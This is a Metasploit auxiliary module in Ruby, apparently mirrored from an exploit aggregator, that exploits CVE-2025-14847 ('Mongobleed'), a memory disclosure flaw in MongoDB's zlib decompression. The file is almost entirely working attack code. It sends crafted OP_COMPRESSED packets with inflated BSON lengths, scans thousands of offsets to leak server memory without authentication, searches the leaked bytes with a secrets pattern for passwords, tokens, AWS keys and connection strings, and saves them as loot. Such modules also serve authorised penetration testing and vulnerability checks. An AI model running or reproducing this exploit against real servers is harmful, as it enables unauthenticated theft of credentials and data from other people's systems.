Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed',
'Description' => %q{
This module exploits a memory disclosure vulnerability in MongoDB's zlib
decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED
messages with inflated BSON document lengths, the server reads beyond the
decompressed buffer and returns leaked memory contents in error messages.
The vulnerability allows unauthenticated remote attackers to leak server
memory which may contain sensitive information such as credentials, session
tokens, encryption keys, or other application data.
},
'Author' => [
'Alexander Hagenah', # Metasploit module (x.com/xaitax)
'Diego Ledda', # Co-author & review (x.com/jbx81)
'Joe Desimone' # Original discovery and PoC (x.com/dez_)
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-14847'],
['URL', 'https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb'],
['URL', 'https://jira.mongodb.org/browse/SERVER-115508'],
['URL', 'https://x.com/dez_']
],
'DisclosureDate' => '2025-12-19',
'DefaultOptions' => {
'RPORT' => 27017
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
Opt::RPORT(27017),
OptInt.new('MIN_OFFSET', [true, 'Minimum BSON document length offset', 20]),
OptInt.new('MAX_OFFSET', [true, 'Maximum BSON document length offset (higher = more memory, slower)', 8192]),
OptInt.new('STEP_SIZE', [true, 'Offset increment (higher = faster, less thorough)', 1]),
OptInt.new('BUFFER_PADDING', [true, 'Padding added to buffer size claim', 500]),
OptInt.new('LEAK_THRESHOLD', [true, 'Minimum bytes to report as interesting leak in output', 10]),
OptBool.new('QUICK_SCAN', [true, 'Quick scan mode - sample key offsets only, faster but may miss leaks', false]),
OptInt.new('REPEAT', [true, 'Number of scan passes - memory changes over time so more passes capture more data', 1]),
OptBool.new('REUSE_CONNECTION', [true, 'Reuse TCP connection for faster scanning (10-50x speedup)', true])
]
)
register_advanced_options(
[
OptBool.new('SHOW_ALL_LEAKS', [true, 'Show all leaked fragments, not just large ones', false]),
OptBool.new('SHOW_HEX', [true, 'Show hexdump of leaked data', false]),
OptString.new('SECRETS_PATTERN', [true, 'Regex pattern to detect sensitive data', 'password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth']),
OptBool.new('FORCE_EXPLOIT', [true, 'Attempt exploitation even if version check indicates not vulnerable', false]),
OptInt.new('PROGRESS_INTERVAL', [true, 'Show progress every N offsets (0 to disable)', 500]),
OptBool.new('SAVE_RAW_RESPONSES', [true, 'Save all raw responses for offline analysis with tools like strings, binwalk, etc.', false]),
OptBool.new('SAVE_JSON', [true, 'Save leaked data as JSON report with metadata for automated processing', true])
]
)
end
# MongoDB Wire Protocol constants
OP_QUERY = 2004 # Legacy query opcode
OP_REPLY = 1 # Legacy reply opcode
OP_COMPRESSED = 2012
OP_MSG = 2013
COMPRESSOR_ZLIB = 2
# Wiz Research "magic packet" for deterministic vulnerability detection
# This is a crafted OP_COMPRESSED message containing {\"a\": 1} with inflated uncompressedSize
WIZ_MAGIC_PACKET = [
'2a000000', # messageLength (42)
'01000000', # requestID
'00000000', # responseTo
'dc070000', # opCode (OP_COMPRESSED = 2012)
'dd070000', # originalOpcode (OP_MSG = 2013)
'32000000', # uncompressedSize (50 - inflated)
'02', # compressorId (zlib = 2)
'789c636080028144064620050002ca0073' # zlib compressed payload
].join.freeze
#
# Standard check method for the framework's `check` command.
# Returns CheckCode values based on version fingerprinting and
# a magic packet probe to confirm exploitability.
#
def check_host(_ip)
# First, confirm we are talking to MongoDB. If neither version detection
# nor compressor negotiation succeeds, the target is not MongoDB and we
# should not probe further to avoid false positives.
version_info = get_mongodb_version
compressors = get_server_compressors
is_mongodb = !version_info.nil? || !compressors.nil?
return Exploit::CheckCode::Safe('Target does not appear to be a MongoDB service') unless is_mongodb
if version_info
version_str = version_info[:version]
vuln_status = check_vulnerable_version(version_str)
return Exploit::CheckCode::Safe("Version #{version_str} is patched") if vuln_status == :patched
end
if compressors && !compressors.include?('zlib')
version_msg = version_info ? " (MongoDB #{version_info[:version]})" : ''
compressor_msg = compressors.empty? ? '' : " - server compressors: #{compressors.join(', ')}"
return Exploit::CheckCode::Safe("Server does not have zlib compression enabled#{version_msg}#{compressor_msg}")
end
# Send the Wiz magic packet to confirm exploitability
result = send_magic_packet_check
case result
when :vulnerable
version_msg = version_info ? " (MongoDB #{version_info[:version]})" : ''
return Exploit::CheckCode::Vulnerable("Server leaks memory via crafted OP_COMPRESSED message#{version_msg}")
when :safe
return Exploit::CheckCode::Safe('Server did not leak memory')
else
# :unknown โ probe was inconclusive, fall back to version-based detection
if version_info
vuln_status = check_vulnerable_version(version_info[:version])
if vuln_status == :vulnerable || vuln_status == :vulnerable_eol
return Exploit::CheckCode::Appears("Version #{version_info[:version]} is in the vulnerable range")
end
return Exploit::CheckCode::Detected("MongoDB #{version_info[:version]} detected")
end
Exploit::CheckCode::Unknown('Magic packet probe was inconclusive and version unknown')
end
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Timeout::Error
Exploit::CheckCode::Unknown('Could not connect to the target')
end
#
# Send the Wiz Research magic packet and check for BSON signatures in leaked memory
#
def send_magic_packet_check
connect
packet = [WIZ_MAGIC_PACKET].pack('H*')
sock.put(packet)
response = recv_mongo_response
disconnect
return :unknown if response.nil? || response.empty?
return :unknown if response.length < 16
# Validate this looks like a MongoDB wire protocol response before
# inspecting content. Without this gate, HTTP error pages or other
# protocol responses can cause false positives.
msg_len = response[0, 4].unpack1('V')
opcode = response[12, 4].unpack1('V')
return :unknown unless msg_len >= 16 && msg_len <= response.length
return :unknown unless [OP_REPLY, OP_MSG, OP_COMPRESSED].include?(opcode)
leaked = false
# Try to decompress OP_COMPRESSED responses and check for leak indicators
payload = nil
begin
if opcode == OP_COMPRESSED && response.length > 25
payload = Zlib::Inflate.inflate(response[25, msg_len - 25])
end
rescue Zlib::Error
# Decompression failed โ can't meaningfully scan compressed bytes
return :unknown
end
# For uncompressed OP_MSG or OP_REPLY, extract the payload
payload ||= if opcode == OP_REPLY && response.length > 36
response[36, msg_len - 36]
elsif opcode == OP_MSG && response.length > 16
response[16, msg_len - 16]
end
if payload
# Only match MongoDB-specific error patterns, not generic strings
leaked = true if payload.include?('BSON')
leaked = true if payload =~ /field name '[^']+'/
leaked = true if payload =~ /unrecognized BSON type/i
end
return :vulnerable if leaked
# Valid MongoDB response but no leak โ server is likely patched
:safe
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET
:unknown
rescue StandardError => e
vprint_error("Magic packet check error: #{e.message}")
:unknown
ensure
begin
disconnect
rescue StandardError
nil
end
end
#
# Get server's supported compressors from hello/isMaster response
#
def get_server_compressors
connect
# Try hello first (MongoDB 5.0+), fall back to isMaster (MongoDB 4.x)
response = send_command('admin', { 'hello' => 1, 'compression' => ['zlib', 'snappy', 'zstd'] })
response ||= send_command('admin', { 'isMaster' => 1, 'compression' => ['zlib', 'snappy', 'zstd'] })
disconnect
return nil if response.nil?
# The response is raw BSON, not JSON. Compressor names appear as
# null-terminated strings within the BSON compression array field.
# A simple string inclusion check reliably detects them.
compressors = []
compressors << 'zlib' if response.include?('zlib')
compressors << 'snappy' if response.include?('snappy')
compressors << 'zstd' if response.include?('zstd')
compressors
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Timeout::Error
raise
rescue StandardError
nil
ensure
begin
disconnect
rescue StandardError
nil
end
end
def check_vulnerable_version(version_str)
# Parse version for comparison
version_match = version_str.match(/^(\d+\.\d+\.\d+)/)
return :unknown unless version_match
mongodb_version = Rex::Version.new(version_match[1])
# Check against vulnerable version ranges per MongoDB JIRA SERVER-115508
if mongodb_version.between?(Rex::Version.new('3.6.0'), Rex::Version.new('3.6.99')) ||
mongodb_version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.99')) ||
mongodb_version.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.99'))
return :vulnerable_eol
elsif mongodb_version.between?(Rex::Version.new('4.4.0'), Rex::Version.new('4.4.29')) ||
mongodb_version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.31')) ||
mongodb_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.0.26')) ||
mongodb_version.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.27')) ||
mongodb_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.16')) ||
mongodb_version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.2'))
return :vulnerable
elsif (mongodb_version >= Rex::Version.new('4.4.30') && mongodb_version < Rex::Version.new('5.0.0')) ||
(mongodb_version >= Rex::Version.new('5.0.32') && mongodb_version < Rex::Version.new('6.0.0')) ||
(mongodb_version >= Rex::Version.new('6.0.27') && mongodb_version < Rex::Version.new('7.0.0')) ||
(mongodb_version >= Rex::Version.new('7.0.28') && mongodb_version < Rex::Version.new('8.0.0')) ||
(mongodb_version >= Rex::Version.new('8.0.17') && mongodb_version < Rex::Version.new('8.2.0')) ||
(mongodb_version >= Rex::Version.new('8.2.3'))
return :patched
end
:unknown
end
def run_host(ip)
run_scan(ip)
end
def run_scan(ip)
# Version detection and vulnerability check
begin
version_info = get_mongodb_version
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Timeout::Error => e
print_error("Cannot reach #{Rex::Socket.to_authority(ip, rport)} - #{e.message}")
return
end
if version_info
version_str = version_info[:version]
print_status("MongoDB version: #{version_str}")
vuln_status = check_vulnerable_version(version_str)
case vuln_status
when :vulnerable_eol
print_good("Version #{version_str} is VULNERABLE (EOL, no fix available)")
when :vulnerable
print_good("Version #{version_str} is VULNERABLE to CVE-2025-14847")
when :patched
print_warning("Version #{version_str} appears to be PATCHED")
unless datastore['FORCE_EXPLOIT']
print_status('Set FORCE_EXPLOIT=true to attempt exploitation anyway')
return
end
print_status('FORCE_EXPLOIT enabled, continuing...')
when :unknown
print_warning("Version #{version_str} - vulnerability status unknown")
print_status('Proceeding with exploitation attempt...')
end
end
# Check compression support
begin
compressors = get_server_compressors
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Timeout::Error => e
print_error("Cannot reach #{Rex::Socket.to_authority(ip, rport)} - #{e.message}")
return
end
# If neither version detection nor compressor negotiation succeeded,
# the target is not a MongoDB service โ don't waste time scanning.
if version_info.nil? && compressors.nil?
print_error('Target does not appear to be a MongoDB service')
return
end
if compressors
print_status("Server compressors: #{compressors.empty? ? 'none' : compressors.join(', ')}")
unless compressors.include?('zlib')
print_error('Server does not support zlib compression - vulnerability not exploitable')
print_status('The CVE-2025-14847 vulnerability requires zlib compression to be enabled')
return unless datastore['FORCE_EXPLOIT']
print_status('FORCE_EXPLOIT enabled, continuing anyway...')
end
else
vprint_warning('Could not determine server compression support, proceeding...')
end
# Perform the memory leak exploitation
exploit_memory_leak(ip, version_info)
end
def get_mongodb_version
connect
# Build buildInfo command using legacy OP_QUERY
# This works without authentication on most MongoDB configurations
response = send_command('admin', { 'buildInfo' => 1 })
disconnect
return nil if response.nil?
# Parse BSON response to extract version
parse_build_info(response)
rescue StandardError => e
vprint_error("Error getting MongoDB version: #{e.message}")
raise if e.is_a?(::Rex::ConnectionError) || e.is_a?(::Errno::ECONNRESET) || e.is_a?(::Timeout::Error)
nil
ensure
begin
disconnect
rescue StandardError
nil
end
end
def send_command(database, command)
# Build BSON document for command
bson_doc = build_bson_document(command)
# Build OP_QUERY packet
# flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query
collection_name = "#{database}.$cmd\x00"
query_body = [0].pack('V') # flags
query_body << collection_name # fullCollectionName (null-terminated)
query_body << [0].pack('V') # numberToSkip
query_body << [1].pack('V') # numberToReturn
query_body << bson_doc # query document
# Build header
request_id = rand(0xFFFFFFFF)
message_length = 16 + query_body.length
header = [message_length, request_id, 0, OP_QUERY].pack('VVVV')
# Send and receive
sock.put(header + query_body)
# Read response
response_header = sock.get_once(16, 5)
return nil if response_header.nil? || response_header.length < 16
msg_len, _req_id, resp_to, opcode = response_header.unpack('VVVV')
# Validate this is a genuine MongoDB OP_REPLY: opcode must be 1 and
# responseTo must match our requestID. This prevents interpreting
# responses from non-MongoDB services (e.g. HTTP) as valid data.
return nil unless opcode == OP_REPLY
return nil unless resp_to == request_id
# Read rest of response
remaining = msg_len - 16
return nil if remaining <= 0 || remaining > 0x01000000 # sanity: cap at 16 MB (MongoDB max)
response_body = sock.get_once(remaining, 5)
return nil if response_body.nil?
# OP_REPLY structure:
# responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents
return nil if response_body.length < 20
response_body[20..] # Return documents portion
end
def build_bson_document(hash)
doc = ''.b
hash.each do |key, value|
case value
when Integer
if value.between?(-2_147_483_648, 2_147_483_647)
doc << "\x10" # int32 type
doc << "#{key}\x00" # key (cstring)
doc << [value].pack('V') # value
else
doc << "\x12" # int64 type
doc << "#{key}\x00"
doc << [value].pack('q<')
end
when Float
doc << "\x01" # double type
doc << "#{key}\x00"
doc << [value].pack('E')
when String
doc << "\x02" # string type
doc << "#{key}\x00"
doc << [value.length + 1].pack('V') # string length (including null)
doc << "#{value}\x00"
when TrueClass, FalseClass
doc << "\x08" # boolean type
doc << "#{key}\x00"
doc << (value ? "\x01" : "\x00")
when Array
doc << "\x04" # array type
doc << "#{key}\x00"
doc << build_bson_array(value)
end
end
doc << "\x00" # Document terminator
[doc.length + 4].pack('V') + doc # Prepend document length
end
def build_bson_array(array)
doc = ''.b
array.each_with_index do |value, index|
case value
when String
doc << "\x02"
doc << "#{index}\x00"
doc << [value.length + 1].pack('V')
doc << "#{value}\x00"
when Integer
doc << "\x10"
doc << "#{index}\x00"
doc << [value].pack('V')
end
end
doc << "\x00"
[doc.length + 4].pack('V') + doc
end
def parse_build_info(bson_data)
return nil if bson_data.nil? || bson_data.length < 5
result = {}
# Parse BSON document
doc_len = bson_data[0, 4].unpack1('V')
return nil if doc_len > bson_data.length
pos = 4
while pos < doc_len - 1
type = bson_data[pos].ord
break if type == 0
pos += 1
# Read key (cstring)
key_end = bson_data.index("\x00", pos)
break if key_end.nil?
key = bson_data[pos...key_end]
pos = key_end + 1
case type
when 0x02 # String
str_len = bson_data[pos, 4].unpack1('V')
value = bson_data[pos + 4, str_len - 1]
pos += 4 + str_len
case key
when 'version'
result[:version] = value
when 'gitVersion'
result[:git_version] = value
when 'sysInfo'
result[:sys_info] = value
end
when 0x03 # Embedded document
sub_doc_len = bson_data[pos, 4].unpack1('V')
if key == 'buildEnvironment'
# Could parse this for more details
end
pos += sub_doc_len
when 0x10 # int32
pos += 4
when 0x12 # int64
pos += 8
when 0x01 # double
pos += 8
when 0x08 # boolean
pos += 1
when 0x04 # array
arr_len = bson_data[pos, 4].unpack1('V')
pos += arr_len
else
# Unknown type, try to continue
break
end
end
# Try alternate method if version not found (using hello/isMaster)
result[:version] ||= try_hello_command
result[:version] ? result : nil
end
def try_hello_command
connect
response = send_command('admin', { 'hello' => 1 })
disconnect
return nil if response.nil?
# Look for version string in response
if response =~ /(\d+\.\d+\.\d+)/
return ::Regexp.last_match(1)
end
nil
rescue StandardError
nil
ensure
begin
disconnect
rescue StandardError
nil
end
end
def exploit_memory_leak(ip, version_info)
all_leaked = ''.b
unique_leaks = Set.new
secrets_found = []
leak_details = [] # For JSON export
raw_responses = ''.b if datastore['SAVE_RAW_RESPONSES']
# Determine offsets to scan
offsets = generate_scan_offsets
total_offsets = offsets.size
repeat_count = datastore['REPEAT']
reuse_conn = datastore['REUSE_CONNECTION']
if repeat_count > 1
print_status("Running #{repeat_count} scan passes to maximize data collection...")
end
print_status('Connection reuse enabled for faster scanning') if reuse_conn
# Track overall progress
progress_interval = datastore['PROGRESS_INTERVAL']
@persistent_sock = nil
connection_errors = 0
max_conn_errors = 5
1.upto(repeat_count) do |pass|
if repeat_count > 1
print_status("=== Pass #{pass}/#{repeat_count} ===")
end
print_status("Scanning #{total_offsets} offsets (#{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}, step=#{datastore['STEP_SIZE']}#{datastore['QUICK_SCAN'] ? ', quick mode' : ''})")
start_time = Time.now
scanned = 0
pass_leaks = 0
offsets.each do |doc_len|
# Progress reporting
scanned += 1
if progress_interval > 0 && (scanned % progress_interval == 0)
elapsed = Time.now - start_time
rate = scanned / elapsed
remaining = ((total_offsets - scanned) / rate).round
print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s")
end
found_leak = probe_and_extract(doc_len, {
reuse_conn: reuse_conn,
unique_leaks: unique_leaks,
all_leaked: all_leaked,
secrets_found: secrets_found,
leak_details: leak_details,
raw_responses: raw_responses
})
if found_leak
pass_leaks += 1
end
connection_errors = 0 # Reset on success
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
connection_errors += 1
close_persistent_connection
vprint_error("Connection error at offset #{doc_len}: #{e.message}")
if connection_errors >= max_conn_errors
print_error("Too many connection errors (#{max_conn_errors}), aborting scan")
break
end
next
rescue ::Timeout::Error
close_persistent_connection
vprint_error("Timeout at offset #{doc_len}")
next
end
# Pass summary
if repeat_count > 1
print_status("Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)")
end
end
# Clean up persistent connection
close_persistent_connection
# Overall summary and loot storage
if !all_leaked.empty?
# Report found secrets first
if secrets_found.any?
print_line
print_warning('Potential secrets detected:')
secrets_found.uniq.each do |secret|
print_warning(" - #{secret}")
end
end
print_line
print_good("Total leaked: #{all_leaked.length} bytes")
print_good("Unique fragments: #{unique_leaks.size}")
# Store leaked data as loot
loot_info = 'MongoDB Memory Disclosure (CVE-2025-14847)'
loot_info += " - Version: #{version_info[:version]}" if version_info&.dig(:version)
path = store_loot(
'mongodb.memory_leak',
'application/octet-stream',
ip,
all_leaked,
'mongobleed.bin',
loot_info
)
print_good("Leaked data saved to: #{path}")
# Save as JSON with metadata
if datastore['SAVE_JSON'] && leak_details.any?
json_data = generate_json_report(ip, version_info, leak_details, secrets_found)
json_path = store_loot(
'mongodb.memory_leak.json',
'application/json',
ip,
json_data,
'mongobleed.json',
'MongoDB memory leak data with metadata'
)
print_good("JSON report saved to: #{json_path}")
end
# Save raw responses if enabled
if datastore['SAVE_RAW_RESPONSES'] && !raw_responses.empty?
raw_path = store_loot(
'mongodb.memory_leak.raw',
'application/octet-stream',
ip,
raw_responses,
'mongobleed_raw.bin',
'Raw MongoDB responses for offline analysis'
)
print_good("Raw responses saved to: #{raw_path}")
end
# Report the vulnerability
vuln_info = "Leaked #{all_leaked.length} bytes of server memory"
vuln_info += " (MongoDB #{version_info[:version]})" if version_info&.dig(:version)
report_vuln(
host: ip,
port: rport,
proto: 'tcp',
name: name,
refs: references,
info: vuln_info
)
else
print_status("No data leaked from #{ip}:#{rport}")
end
end
#
# Probe a single offset and extract leaks
#
def probe_and_extract(doc_len, opts = {})
response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING'], reuse_connection: opts[:reuse_conn])
return false if response.nil? || response.empty?
# Save raw response if enabled
opts[:raw_responses] << response if datastore['SAVE_RAW_RESPONSES'] && opts[:raw_responses]
leaks = extract_leaks(response)
found_new_leak = false
leaks.each do |data|
next if opts[:unique_leaks].include?(data)
opts[:unique_leaks].add(data)
opts[:all_leaked] << data
found_new_leak = true
# Store leak details for JSON export
opts[:leak_details] << {
offset: doc_len,
length: data.length,
data: data,
printable: data.gsub(/[^[:print:]]/, '.'),
timestamp: Time.now.utc.iso8601,
has_secret: check_secrets(data, doc_len, opts[:secrets_found])
}
# Report large leaks or all if configured
next unless data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS']
preview = data.gsub(/[^[:print:]]/, '.')[0, 80]
print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}")
# Show hex dump if enabled
if datastore['SHOW_HEX'] && !data.empty?
print_hexdump(data)
end
end
found_new_leak
end
#
# Generate JSON report with all leak data and metadata
#
def generate_json_report(ip, version_info, leak_details, secrets_found)
report = {
scan_info: {
target: ip,
port: rport,
mongodb_version: version_info&.dig(:version),
scan_time: Time.now.utc.iso8601,
cve: 'CVE-2025-14847'
},
scan_parameters: {
min_offset: datastore['MIN_OFFSET'],
max_offset: datastore['MAX_OFFSET'],
step_size: datastore['STEP_SIZE'],
quick_scan: datastore['QUICK_SCAN'],
repeat_passes: datastore['REPEAT']
},
summary: {
total_leaks: leak_details.size,
total_bytes: leak_details.sum { |l| l[:length] },
secrets_found: secrets_found.size,
unique_offsets: leak_details.map { |l| l[:offset] }.uniq.size
},
secrets: secrets_found.uniq,
leaks: leak_details.map do |leak|
{
offset: leak[:offset],
length: leak[:length],
data_base64: Rex::Text.encode_base64(leak[:data]),
data_printable: leak[:printable][0, 200],
has_secret: leak[:has_secret],
timestamp: leak[:timestamp]
}
end
}
JSON.pretty_generate(report)
end
#
# Send probe with optional connection reuse
#
def send_probe(doc_len, buffer_size, reuse_connection: true)
packet = build_probe_packet(doc_len, buffer_size)
if reuse_connection
# Use persistent connection for speed
begin
ensure_persistent_connection
@persistent_sock.put(packet)
recv_mongo_response_from(@persistent_sock)
rescue StandardError
# Connection failed, try fresh connection
close_persistent_connection
send_probe_fresh(packet)
end
else
send_probe_fresh(packet)
end
end
def build_probe_packet(doc_len, buffer_size)
# Build minimal BSON content - we lie about total length to trigger the bug
# int32 field "a" with value 1
bson_content = "\x10a\x00\x01\x00\x00\x00".b
# BSON document with inflated length (this is the key to the exploit)
bson = [doc_len].pack('V') + bson_content
# Wrap in OP_MSG structure
# flags (4 bytes) + section kind (1 byte) + BSON
op_msg = [0].pack('V') + "\x00".b + bson
# Compress the OP_MSG payload
compressed_data = Zlib::Deflate.deflate(op_msg)
# Build OP_COMPRESSED payload
# originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData
payload = [OP_MSG].pack('V')
payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated)
payload << [COMPRESSOR_ZLIB].pack('C')
payload << compressed_data
# MongoDB wire protocol header
# messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes)
message_length = 16 + payload.length
header = [message_length, rand(0xFFFFFFFF), 0, OP_COMPRESSED].pack('VVVV')
header + payload
end
def ensure_persistent_connection
return if @persistent_sock && !@persistent_sock.closed?
connect
@persistent_sock = sock
end
def close_persistent_connection
return unless @persistent_sock
begin
@persistent_sock.close unless @persistent_sock.closed?
rescue StandardError
nil
end
@persistent_sock = nil
end
def send_probe_fresh(packet)
response = nil
begin
connect
sock.put(packet)
response = recv_mongo_response
ensure
begin
disconnect
rescue StandardError
nil
end
end
response
end
def recv_mongo_response
recv_mongo_response_from(sock)
end
def recv_mongo_response_from(socket)
# Read header first (16 bytes minimum)
header = socket.get_once(16, 2)
return nil if header.nil? || header.length < 16
msg_len = header[0, 4].unpack1('V')
opcode = header[12, 4].unpack1('V')
# Validate this looks like a MongoDB wire protocol response.
# Reject obviously non-MongoDB data (e.g. HTTP responses) early.
return nil unless [OP_REPLY, OP_MSG, OP_COMPRESSED].include?(opcode)
return nil if msg_len < 16 || msg_len > 0x01000000 # cap at 16 MB
return header if msg_len <= 16
# Read remaining data
remaining = msg_len - header.length
if remaining > 0
data = socket.get_once(remaining, 2)
return header if data.nil?
header + data
else
header
end
rescue ::Timeout::Error, ::EOFError
nil
end
#
# Extract leaks with additional patterns (raw bytes, BSON markers, strings)
#
def extract_leaks(response)
return [] if response.nil? || response.length < 25
leaks = []
begin
msg_len = response.unpack1('V')
return [] if msg_len > response.length || msg_len < 16
# Validate this is a MongoDB wire protocol response
opcode = response[12, 4].unpack1('V')
return [] unless [OP_REPLY, OP_MSG, OP_COMPRESSED].include?(opcode)
raw = nil
if opcode == OP_COMPRESSED
# Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes
begin
raw = Zlib::Inflate.inflate(response[25, msg_len - 25])
rescue Zlib::Error
# Try without decompression
raw = response[25, msg_len - 25]
end
else
# OP_REPLY has a 20-byte reply header after the 16-byte message header (offset 36)
# OP_MSG payload starts after the 16-byte message header (offset 16)
offset = opcode == OP_REPLY ? 36 : 16
raw = response[offset, msg_len - offset] if response.length > offset
end
return [] if raw.nil?
# Extract field names from BSON parsing errors
raw.scan(/field name '([^']*)'/) do |match|
data = match[0]
next if data.nil? || data.empty?
next if ['?', 'a', '$db', 'ping', 'ok', 'errmsg', 'code', 'codeName'].include?(data)
leaks << data
end
# Extract type bytes from unrecognized BSON type errors
raw.scan(/(?:unrecognized|unknown|invalid)\s+(?:BSON\s+)?type[:\s]+(\d+)/i) do |match|
type_byte = match[0].to_i & 0xFF
leaks << type_byte.chr if type_byte > 0
end
# Extract any quoted strings from error messages (broader pattern)
raw.scan(/'([^']{4,})'/) do |match|
data = match[0]
next if data.nil? || data.empty?
next if data.length < 4 # Skip very short strings
next if data =~ /^\$?[a-z]+$/i && data.length < 8 # Skip simple field names
leaks << data
end
# Extract printable ASCII sequences from raw bytes (minimum 6 chars)
raw.scan(/[\x20-\x7E]{6,}/) do |match|
next if match.nil? || match.empty?
# Filter out common MongoDB response strings
next if match =~ /^(errmsg|codeName|ok|code|\$db|admin)$/
next if leaks.include?(match)
leaks << match
end
# Look for MongoDB connection strings
raw.scan(%r{mongodb(?:\+srv)?://[^\s"'<>]+}) do |match|
leaks << match unless leaks.include?(match)
end
# Look for potential JSON/BSON fragments
raw.scan(/\{[^{}]{5,100}\}/) do |match|
next if match.nil? || match.empty?
next if match =~ /^\{\s*\}$/ # Skip empty objects
leaks << match unless leaks.include?(match)
end
rescue Zlib::Error => e
vprint_error("Decompression error: #{e.message}")
rescue StandardError => e
vprint_error("Error extracting leaks: #{e.message}")
end
leaks.uniq
end
def check_secrets(data, offset, secrets_found)
pattern = Regexp.new(datastore['SECRETS_PATTERN'], Regexp::IGNORECASE)
return false unless data =~ pattern
match = ::Regexp.last_match[0]
match_pos = ::Regexp.last_match.begin(0)
# Extract context around the match (20 chars before and after)
context_start = [match_pos - 20, 0].max
context_end = [match_pos + match.length + 20, data.length].min
context = data[context_start...context_end].gsub(/[^[:print:]]/, '.')
# Highlight position in context
secret_info = "Pattern '#{match}' at offset #{offset}"
secret_info += " (pos #{match_pos}): ...#{context}..."
secrets_found << secret_info
print_warning("Secret pattern detected at offset #{offset}: '#{match}' in context: ...#{context}...")
true
end
def generate_scan_offsets
min_off = datastore['MIN_OFFSET']
max_off = datastore['MAX_OFFSET']
step = datastore['STEP_SIZE']
if datastore['QUICK_SCAN']
# Quick scan mode: sample key offsets that typically yield results
# Based on common BSON document sizes and memory alignment
quick_offsets = []
# Small offsets (header area)
quick_offsets += (20..100).step(5).to_a
# Power of 2 boundaries (common allocation sizes)
[128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary|
next if boundary < min_off || boundary > max_off
# Sample around boundaries
(-10..10).step(2).each do |delta|
off = boundary + delta
quick_offsets << off if off >= min_off && off <= max_off
end
end
# Sample every 128 bytes for broader coverage
quick_offsets += (min_off..max_off).step(128).to_a
quick_offsets.uniq.sort.select { |o| o >= min_off && o <= max_off }
else
# Normal scan with step size
(min_off..max_off).step(step).to_a
end
end
def print_hexdump(data)
return if data.nil? || data.empty?
# Print hexdump in classic format (16 bytes per line)
offset = 0
data.bytes.each_slice(16) do |chunk|
hex_part = chunk.map { |b| '%02x' % b }.join(' ')
ascii_part = chunk.map { |b| (b >= 32 && b < 127) ? b.chr : '.' }.join
# Pad hex part if less than 16 bytes
hex_part = hex_part.ljust(47)
print_line(" #{('%04x' % offset)} #{hex_part} |#{ascii_part}|")
offset += 16
# Limit output to avoid flooding console
break if offset >= 256
end
print_line(' ...') if data.length > 256
end
end